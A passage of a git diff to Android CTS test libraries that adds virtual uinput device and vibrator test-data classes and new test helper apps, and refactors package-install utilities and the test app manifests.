+ */
+public class UinputTestData {
+    // Name of the test
+    public String name;
+
+    // Uinput events to be injected to /dev/uinput
+    public List<String> evdevEvents = new ArrayList<String>();
+
+    // InputEvent's that are expected to be produced after sending out the evdevEvents.
+    public List<InputEvent> events = new ArrayList<InputEvent>();
+}
diff --git a/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java b/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java
new file mode 100644
index 0000000..ebafb7e
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.util.SparseArray;
+
+import java.util.List;
+
+/**
+ * Data class that stores HID vibrator test data.
+ */
+public class UinputVibratorManagerTestData {
+    // Array of vibrator durations
+    public List<Long> durations;
+
+    // SparseArray of vibrator id and amplitudes list. The array index is vibrator id,
+    // the value is the list of amplitudes.
+    public SparseArray<List<Integer>> amplitudes;
+}
diff --git a/libs/input/src/com/android/cts/input/UinputVibratorTestData.java b/libs/input/src/com/android/cts/input/UinputVibratorTestData.java
new file mode 100644
index 0000000..280ef32
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputVibratorTestData.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import java.util.List;
+
+/**
+ * Data class that stores HID vibrator test data.
+ */
+public class UinputVibratorTestData {
+    // Array of vibrator durations
+    public List<Long> durations;
+
+    // Array of vibrator amplitudes
+    public List<Integer> amplitudes;
+
+}
diff --git a/libs/input/src/com/android/cts/input/VirtualInputDevice.java b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
new file mode 100644
index 0000000..bcf28eb
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import static android.os.FileUtils.closeQuietly;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.hardware.input.InputManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.ParcelFileDescriptor;
+import android.util.JsonReader;
+import android.util.JsonToken;
+import android.util.Log;
+import android.view.InputDevice;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Declares a virtual INPUT device registered through /dev/uinput or /dev/hid.
+ */
+public abstract class VirtualInputDevice implements InputManager.InputDeviceListener {
+    private static final String TAG = "VirtualInputDevice";
+    private InputStream mInputStream;
+    private OutputStream mOutputStream;
+    private Instrumentation mInstrumentation;
+    private final Thread mResultThread;
+    private final HandlerThread mHandlerThread;
+    private final Handler mHandler;
+    private final InputManager mInputManager;
+    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
+    private volatile CountDownLatch mDeviceRemovedSignal; // to wait for onInputDeviceRemoved signal
+    // Input device ID assigned by input manager
+    private int mDeviceId = Integer.MIN_VALUE;
+    private final int mVendorId;
+    private final int mProductId;
+    private final int mSources;
+    // Virtual device ID from the json file
+    protected final int mId;
+    protected JsonReader mReader;
+    protected final Object mLock = new Object();
+
+    /**
+     * To be implemented with device specific shell command to execute.
+     */
+    abstract String getShellCommand();
+
+    /**
+     * To be implemented with device specific result reading function.
+     */
+    abstract void readResults();
+
+    public VirtualInputDevice(Instrumentation instrumentation, int id, int vendorId, int productId,
+            int sources, String registerCommand) {
+        mInstrumentation = instrumentation;
+        mInputManager = mInstrumentation.getContext().getSystemService(InputManager.class);
+        setupPipes();
+
+        mId = id;
+        mVendorId = vendorId;
+        mProductId = productId;
+        mSources = sources;
+        mHandlerThread = new HandlerThread("InputDeviceHandlerThread");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+
+        mDeviceAddedSignal = new CountDownLatch(1);
+        mDeviceRemovedSignal = new CountDownLatch(1);
+
+        mResultThread = new Thread(() -> {
+            try {
+                while (mReader.peek() != JsonToken.END_DOCUMENT) {
+                    readResults();
+                }
+            } catch (IOException ex) {
+                Log.w(TAG, "Exiting JSON Result reader. " + ex);
+            }
+        });
+        // Start result reader thread
+        mResultThread.start();
+        // Register input device listener
+        mInputManager.registerInputDeviceListener(VirtualInputDevice.this, mHandler);
+        // Register virtual input device
+        registerInputDevice(registerCommand);
+    }
+
+    protected byte[] readData() throws IOException {
+        ArrayList<Integer> data = new ArrayList<Integer>();
+        try {
+            mReader.beginArray();
+            while (mReader.hasNext()) {
+                data.add(Integer.decode(mReader.nextString()));
+            }
+            mReader.endArray();
+        } catch (IllegalStateException | NumberFormatException e) {
+            mReader.endArray();
+            throw new IllegalStateException("Encountered malformed data.", e);
+        }
+        byte[] rawData = new byte[data.size()];
+        for (int i = 0; i < data.size(); i++) {
+            int d = data.get(i);
+            if ((d & 0xFF) != d) {
+                throw new IllegalStateException("Invalid data, all values must be byte-sized");
+            }
+            rawData[i] = (byte) d;
+        }
+        return rawData;
+    }
+
+    /**
+     * Register an input device. May cause a failure if the device added notification
+     * is not received within the timeout period
+     *
+     * @param registerCommand The full json command that specifies how to register this device
+     */
+    private void registerInputDevice(String registerCommand) {
+        Log.i(TAG, "registerInputDevice: " + registerCommand);
+        writeCommands(registerCommand.getBytes());
+        try {
+            // Wait for input device added callback.
+            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
+            if (mDeviceAddedSignal.getCount() != 0) {
+                throw new RuntimeException("Did not receive device added notification in time");
+            }
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(
+                    "Unexpectedly interrupted while waiting for device added notification.");
+        }
+    }
+
+    /**
+     * Add a delay between processing events.
+     *
+     * @param milliSeconds The delay in milliseconds.
+     */
+    public void delay(int milliSeconds) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put("command", "delay");
+            json.put("id", mId);
+            json.put("duration", milliSeconds);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not create JSON object to delay " + milliSeconds + " milliseconds");
+        }
+        writeCommands(json.toString().getBytes());
+    }
+
+    /**
+     * Close the device, which would cause the associated input device to unregister.
+     */
+    public void close() {
+        closeQuietly(mInputStream);
+        closeQuietly(mOutputStream);
+        // mResultThread should exit when stream is closed.
+        try {
+            // Wait for input device removed callback.
+            mDeviceRemovedSignal.await(20L, TimeUnit.SECONDS);
+            if (mDeviceRemovedSignal.getCount() != 0) {
+                throw new RuntimeException("Did not receive device removed notification in time");
+            }
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(
+                    "Unexpectedly interrupted while waiting for device removed notification.");
+        }
+        // Unregister input device listener
+        mInstrumentation.runOnMainSync(() -> {
+            mInputManager.unregisterInputDeviceListener(VirtualInputDevice.this);
+        });
+    }
+
+    private void setupPipes() {
+        UiAutomation ui = mInstrumentation.getUiAutomation();
+        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(getShellCommand());
+
+        mInputStream = new ParcelFileDescriptor.AutoCloseInputStream(pipes[0]);
+        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
+        try {
+            mReader = new JsonReader(new InputStreamReader(mInputStream, "UTF-8"));
+        } catch (UnsupportedEncodingException e) {
+            throw new RuntimeException(e);
+        }
+        mReader.setLenient(true);
+    }
+
+    protected void writeCommands(byte[] bytes) {
+        try {
+            mOutputStream.write(bytes);
+            mOutputStream.flush();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void updateInputDevice(int deviceId) {
+        InputDevice device = mInputManager.getInputDevice(deviceId);
+        if (device == null) {
+            return;
+        }
+        // Check if the device is what we expected
+        if (device.getVendorId() == mVendorId && device.getProductId() == mProductId
+                && (device.getSources() & mSources) == mSources) {
+            mDeviceId = device.getId();
+            mDeviceAddedSignal.countDown();
+        }
+    }
+
+    // InputManager.InputDeviceListener functions
+    @Override
+    public void onInputDeviceAdded(int deviceId) {
+        // Check the new added input device
+        updateInputDevice(deviceId);
+    }
+
+    @Override
+    public void onInputDeviceChanged(int deviceId) {
+        // InputDevice may be updated with new input sources added
+        updateInputDevice(deviceId);
+    }
+
+    @Override
+    public void onInputDeviceRemoved(int deviceId) {
+        if (deviceId == mDeviceId) {
+            mDeviceRemovedSignal.countDown();
+        }
+    }
+}
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
index 5b492a2..5cb6b9f 100644
--- a/libs/install/Android.bp
+++ b/libs/install/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "TestAppAv1",
     manifest: "testapp/Av1.xml",
@@ -69,6 +65,14 @@
 }
 
 android_test_helper_app {
+    name: "TestAppBv3",
+    manifest: "testapp/Bv3.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v3"],
+}
+
+android_test_helper_app {
     name: "TestAppCv1",
     manifest: "testapp/Cv1.xml",
     sdk_version: "current",
@@ -77,6 +81,14 @@
 }
 
 android_test_helper_app {
+    name: "TestAppCv2",
+    manifest: "testapp/Cv2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
     name: "TestAppASplitV1",
     manifest: "testapp/Av1.xml",
     sdk_version: "current",
@@ -94,6 +106,28 @@
     package_splits: ["anydpi"],
 }
 
+android_test_helper_app {
+    name: "TestAppAOriginalV1",
+    manifest: "testapp/Av1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+    certificate: ":cts-ec-p256",
+    apex_available: [ "com.android.apex.apkrollback.test_v1" ],
+}
+
+android_test_helper_app {
+    name: "TestAppARotatedV2",
+    manifest: "testapp/Av2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+    certificate: ":cts-ec-p256",
+    additional_certificates: [":cts-ec-p256_2"],
+    lineage: "testapp/signing/ec-p256-por-1_2",
+    apex_available: [ "com.android.apex.apkrollback.test_v2" ],
+}
+
 java_library {
     name: "cts-install-lib-java",
     srcs: ["src/**/lib/*.java"],
@@ -110,10 +144,14 @@
         ":TestAppAv3",
         ":TestAppBv1",
         ":TestAppBv2",
+        ":TestAppBv3",
         ":TestAppCv1",
+        ":TestAppCv2",
         ":TestAppACrashingV2",
         ":TestAppASplitV1",
         ":TestAppASplitV2",
+        ":TestAppAOriginalV1",
+        ":TestAppARotatedV2",
         ":StagedInstallTestApexV1",
         ":StagedInstallTestApexV2",
         ":StagedInstallTestApexV3",
diff --git a/libs/install/src/com/android/cts/install/lib/Install.java b/libs/install/src/com/android/cts/install/lib/Install.java
index cd18906..9f278a0 100644
--- a/libs/install/src/com/android/cts/install/lib/Install.java
+++ b/libs/install/src/com/android/cts/install/lib/Install.java
@@ -154,17 +154,10 @@
         int sessionId = createSession();
         try (PackageInstaller.Session session =
                      InstallUtils.openPackageInstallerSession(sessionId)) {
-            session.commit(LocalIntentSender.getIntentSender());
-            Intent result = LocalIntentSender.getIntentSenderResult();
-            int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                    PackageInstaller.STATUS_FAILURE);
-            if (status == -1) {
-                throw new AssertionError("PENDING USER ACTION");
-            } else if (status > 0) {
-                String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-                throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-            }
-
+            LocalIntentSender sender = new LocalIntentSender();
+            session.commit(sender.getIntentSender());
+            Intent result = sender.getResult();
+            InstallUtils.assertStatusSuccess(result);
             if (mIsStaged) {
                 InstallUtils.waitForSessionReady(sessionId);
             }
diff --git a/libs/install/src/com/android/cts/install/lib/InstallUtils.java b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
index 7f92c62..faa040f 100644
--- a/libs/install/src/com/android/cts/install/lib/InstallUtils.java
+++ b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
@@ -17,9 +17,11 @@
 package com.android.cts.install.lib;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.fail;
 
+import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -31,6 +33,7 @@
 import android.content.pm.PackageManager;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.SystemClock;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -41,6 +44,7 @@
 import java.util.List;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Utilities to facilitate installation in tests.
@@ -48,32 +52,38 @@
 public class InstallUtils {
     private static final int NUM_MAX_POLLS = 5;
     private static final int POLL_WAIT_TIME_MILLIS = 200;
+    private static final long GET_UIAUTOMATION_TIMEOUT_MS = 60000;
+
+    private static UiAutomation getUiAutomation() {
+        final long start = SystemClock.uptimeMillis();
+        while (SystemClock.uptimeMillis() - start < GET_UIAUTOMATION_TIMEOUT_MS) {
+            UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+            if (ui != null) {
+                return ui;
+            }
+        }
+        throw new AssertionError("Failed to get UiAutomation");
+    }
 
     /**
      * Adopts the given shell permissions.
      */
     public static void adoptShellPermissionIdentity(String... permissions) {
-        InstrumentationRegistry
-                .getInstrumentation()
-                .getUiAutomation()
-                .adoptShellPermissionIdentity(permissions);
+        getUiAutomation().adoptShellPermissionIdentity(permissions);
     }
 
     /**
      * Drops all shell permissions.
      */
     public static void dropShellPermissionIdentity() {
-        InstrumentationRegistry
-                .getInstrumentation()
-                .getUiAutomation()
-                .dropShellPermissionIdentity();
+        getUiAutomation().dropShellPermissionIdentity();
     }
     /**
      * Returns the version of the given package installed on device.
      * Returns -1 if the package is not currently installed.
      */
     public static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         try {
             PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
@@ -84,10 +94,9 @@
     }
 
     /**
-     * Waits for the given session to be marked as ready.
-     * Throws an assertion if the session fails.
+     * Waits for the given session to be marked as ready or failed and returns it.
      */
-    public static void waitForSessionReady(int sessionId) {
+    public static PackageInstaller.SessionInfo waitForSession(int sessionId) {
         BlockingQueue<PackageInstaller.SessionInfo> sessionStatus = new LinkedBlockingQueue<>();
         BroadcastReceiver sessionUpdatedReceiver = new BroadcastReceiver() {
             @Override
@@ -108,7 +117,7 @@
         IntentFilter sessionUpdatedFilter =
                 new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
 
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
 
         PackageInstaller installer = getPackageInstaller();
@@ -118,22 +127,34 @@
             if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
                 sessionStatus.put(info);
             }
-
-            info = sessionStatus.take();
+            info = sessionStatus.poll(60, TimeUnit.SECONDS);
             context.unregisterReceiver(sessionUpdatedReceiver);
-            if (info.isStagedSessionFailed()) {
-                throw new AssertionError(info.getStagedSessionErrorMessage());
-            }
+            assertWithMessage("Timed out while waiting for session to get ready/failed")
+                    .that(info).isNotNull();
+            assertThat(info.getSessionId()).isEqualTo(sessionId);
+            return info;
         } catch (InterruptedException e) {
             throw new AssertionError(e);
         }
     }
 
     /**
+     * Waits for the given session to be marked as ready.
+     * Throws an assertion if the session fails.
+     */
+    public static void waitForSessionReady(int sessionId) {
+        PackageInstaller.SessionInfo info = waitForSession(sessionId);
+        // TODO: migrate to PackageInstallerSessionInfoSubject
+        if (info.isStagedSessionFailed()) {
+            throw new AssertionError(info.getStagedSessionErrorMessage());
+        }
+    }
+
+    /**
      * Returns the info for the given package name.
      */
     public static PackageInfo getPackageInfo(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         try {
             return pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
@@ -146,7 +167,7 @@
      * Returns the PackageInstaller instance of the current {@code Context}
      */
     public static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
+        return InstrumentationRegistry.getTargetContext().getPackageManager().getPackageInstaller();
     }
 
     /**
@@ -220,7 +241,7 @@
         intent.setComponent(new ComponentName(packageName,
                 "com.android.cts.install.lib.testapp.ProcessUserData"));
         intent.setAction("PROCESS_USER_DATA");
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
 
         HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
         handlerThread.start();
@@ -269,7 +290,7 @@
         intent.setComponent(new ComponentName(packageName,
                 "com.android.cts.install.lib.testapp.ProcessUserData"));
         intent.setAction("GET_USER_DATA_VERSION");
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
 
         HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
         handlerThread.start();
@@ -325,7 +346,7 @@
      */
     public static boolean isOnlyInstalledForUser(String packageName, int userIdToCheck,
             List<Integer> userIds) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         for (int userId: userIds) {
             List<PackageInfo> installedPackages;
diff --git a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
index 4560ab1..cdf709c 100644
--- a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
+++ b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
@@ -16,12 +16,16 @@
 
 package com.android.cts.install.lib;
 
+import static android.app.PendingIntent.FLAG_MUTABLE;
+
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.IntentSender;
 import android.content.pm.PackageInstaller;
+import android.os.SystemClock;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -35,49 +39,36 @@
  */
 public class LocalIntentSender extends BroadcastReceiver {
     private static final String TAG = "cts.install.lib";
-
-    private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
+    private final BlockingQueue<Intent> mResults = new LinkedBlockingQueue<>();
 
     @Override
     public void onReceive(Context context, Intent intent) {
         Log.i(TAG, "Received intent " + prettyPrint(intent));
-        sIntentSenderResults.add(intent);
+        mResults.add(intent);
     }
 
     /**
      * Get a LocalIntentSender.
      */
-    public static IntentSender getIntentSender() {
-        Context context = InstrumentationRegistry.getContext();
-        Intent intent = new Intent(context, LocalIntentSender.class);
-        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
+    public IntentSender getIntentSender() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        // Generate a unique string to ensure each LocalIntentSender gets its own results.
+        String action = LocalIntentSender.class.getName() + SystemClock.elapsedRealtime();
+        context.registerReceiver(this, new IntentFilter(action));
+        Intent intent = new Intent(action);
+        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, FLAG_MUTABLE);
         return pending.getIntentSender();
     }
 
     /**
-     * Returns the most recent Intent sent by a LocalIntentSender.
+     * Returns and remove the most early Intent received by this LocalIntentSender.
      */
-    public static Intent getIntentSenderResult() throws InterruptedException {
-        Intent intent = sIntentSenderResults.take();
+    public Intent getResult() throws InterruptedException {
+        Intent intent = mResults.take();
         Log.i(TAG, "Taking intent " + prettyPrint(intent));
         return intent;
     }
 
-    /**
-     * Returns an Intent that targets the given {@code sessionId}, while discarding others.
-     */
-    public static Intent getIntentSenderResult(int sessionId) throws InterruptedException {
-        while (true) {
-            Intent intent = sIntentSenderResults.take();
-            if (intent.getIntExtra(PackageInstaller.EXTRA_SESSION_ID, -1) == sessionId) {
-                Log.i(TAG, "Taking intent " + prettyPrint(intent));
-                return intent;
-            } else {
-                Log.i(TAG, "Discarding intent " + prettyPrint(intent));
-            }
-        }
-    }
-
     private static String prettyPrint(Intent intent) {
         int sessionId = intent.getIntExtra(PackageInstaller.EXTRA_SESSION_ID, -1);
         int status = intent.getIntExtra(PackageInstaller.EXTRA_STATUS,
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index 4f43613..8775ef4 100644
--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -50,14 +50,22 @@
             "TestAppASplitV2.apk", "TestAppASplitV2_anydpi.apk");
     public static final TestApp AIncompleteSplit = new TestApp("AIncompleteSplit", A, 1,
             /*isApex*/false, "TestAppASplitV1_anydpi.apk");
+    public static final TestApp AOriginal1 = new TestApp("AOriginalV1", A, 1, /*isApex*/false,
+            "TestAppAOriginalV1.apk");
+    public static final TestApp ARotated2 = new TestApp("ARotatedV2", A, 2, /*isApex*/false,
+            "TestAppARotatedV2.apk");
 
     public static final TestApp B1 = new TestApp("Bv1", B, 1, /*isApex*/false,
             "TestAppBv1.apk");
     public static final TestApp B2 = new TestApp("Bv2", B, 2, /*isApex*/false,
             "TestAppBv2.apk");
+    public static final TestApp B3 = new TestApp("Bv3", B, 3, /*isApex*/false,
+            "TestAppBv3.apk");
 
     public static final TestApp C1 = new TestApp("Cv1", C, 1, /*isApex*/false,
             "TestAppCv1.apk");
+    public static final TestApp C2 = new TestApp("Cv2", C, 2, /*isApex*/false,
+            "TestAppCv2.apk");
 
     // Apex collection
     public static final TestApp Apex1 = new TestApp("Apex1", SHIM_APEX_PACKAGE_NAME, 1,
diff --git a/libs/install/src/com/android/cts/install/lib/Uninstall.java b/libs/install/src/com/android/cts/install/lib/Uninstall.java
index 0444130..e746f89 100644
--- a/libs/install/src/com/android/cts/install/lib/Uninstall.java
+++ b/libs/install/src/com/android/cts/install/lib/Uninstall.java
@@ -43,10 +43,11 @@
             return;
         }
 
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager packageManager = context.getPackageManager();
         PackageInstaller packageInstaller = packageManager.getPackageInstaller();
-        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
-        InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+        LocalIntentSender sender = new LocalIntentSender();
+        packageInstaller.uninstall(packageName, sender.getIntentSender());
+        InstallUtils.assertStatusSuccess(sender.getResult());
     }
 }
diff --git a/libs/install/testapp/ACrashingV2.xml b/libs/install/testapp/ACrashingV2.xml
index 338a5b9..ec55930 100644
--- a/libs/install/testapp/ACrashingV2.xml
+++ b/libs/install/testapp/ACrashingV2.xml
@@ -15,21 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.A"
-    android:versionCode="2"
-    android:versionName="2.0" >
+     package="com.android.cts.install.lib.testapp.A"
+     android:versionCode="2"
+     android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App A v2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-                  android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity"
+             android:exported="true">
             <intent-filter>
-              <action android:name="android.intent.action.MAIN" />
+              <action android:name="android.intent.action.MAIN"/>
               <category android:name="android.intent.category.DEFAULT"/>
-              <category android:name="android.intent.category.LAUNCHER" />
+              <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Av1.xml b/libs/install/testapp/Av1.xml
index e9714fc..0d0a392 100644
--- a/libs/install/testapp/Av1.xml
+++ b/libs/install/testapp/Av1.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.A"
-    android:versionCode="1"
-    android:versionName="1.0" >
+     package="com.android.cts.install.lib.testapp.A"
+     android:versionCode="1"
+     android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App A1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-                  android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Av2.xml b/libs/install/testapp/Av2.xml
index fd8afa0..d92cfd0 100644
--- a/libs/install/testapp/Av2.xml
+++ b/libs/install/testapp/Av2.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.A"
-    android:versionCode="2"
-    android:versionName="2.0" >
+     package="com.android.cts.install.lib.testapp.A"
+     android:versionCode="2"
+     android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App A2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Av3.xml b/libs/install/testapp/Av3.xml
index a7839e3..b5826d1 100644
--- a/libs/install/testapp/Av3.xml
+++ b/libs/install/testapp/Av3.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.A"
-    android:versionCode="3"
-    android:versionName="3.0" >
+     package="com.android.cts.install.lib.testapp.A"
+     android:versionCode="3"
+     android:versionName="3.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App A3">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Bv1.xml b/libs/install/testapp/Bv1.xml
index 403e7e2..9c9b9d3 100644
--- a/libs/install/testapp/Bv1.xml
+++ b/libs/install/testapp/Bv1.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.B"
-    android:versionCode="1"
-    android:versionName="1.0" >
+     package="com.android.cts.install.lib.testapp.B"
+     android:versionCode="1"
+     android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App B1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
